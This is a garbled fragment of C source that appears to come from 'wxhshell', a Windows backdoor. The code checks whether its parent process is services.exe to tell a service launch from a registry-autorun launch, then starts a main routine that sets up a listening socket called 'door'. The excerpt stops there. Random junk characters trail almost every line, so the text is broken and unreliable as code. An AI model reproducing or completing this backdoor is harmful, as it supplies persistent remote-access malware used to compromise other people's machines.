ULONG InheritedFromUniqueProcessId; `#(4K4]1.
} PROCESS_BASIC_INFORMATION; l,/5$JGnk
$@U`zy"Y
PROCNTQSIP NtQueryInformationProcess; tl4;2m3w
SMhT>dB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nBD7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2?"9NQvz
G?"1
z;
HANDLE hProcess; h?R-t*G?
PROCESS_BASIC_INFORMATION pbi; O-G@To3\
iA < EJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eR}d"F4W
if(NULL == hInst ) return 0; RM`8P5i]sF
62zlO{ >rJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kO5KZ;+N-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U{R*WB b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %|u"0/
r!zNcN(%cs
if (!NtQueryInformationProcess) return 0; .58AXg
#
I<G:)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0}b8S48|?
if(!hProcess) return 0; a{8GT2h`4
wj?fr?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oFsMQ Py
OI-%Ig%C#l
CloseHandle(hProcess); <8y8^m`P9
?Cu$qE!h)[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vw!i)JO8M
if(hProcess==NULL) return 0; XkNi'GJf
z* `81
HMODULE hMod; ,fNiZ
char procName[255]; O+e8}Tmm
unsigned long cbNeeded; \
0CGS
`\qU.m0(j
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ypsCyDQK`
2T|L##C
CloseHandle(hProcess); Fdzd!r1 v
l >O]Cpt
if(strstr(procName,"services")) return 1; // 以服务启动 "w A8J%:
IGp-`%9
return 0; // 注册表启动 :2?'mKa7
} %TR->F
8"4`W~ 3
// 主模块 H(g&+Wcu=
int StartWxhshell(LPSTR lpCmdLine) T"0a&.TLj
{ 9!R !H&
SOCKET wsl; cis~]x%
BOOL val=TRUE; z1L.
int port=0; <oeHZD_OR
struct sockaddr_in door; aE;!mod
&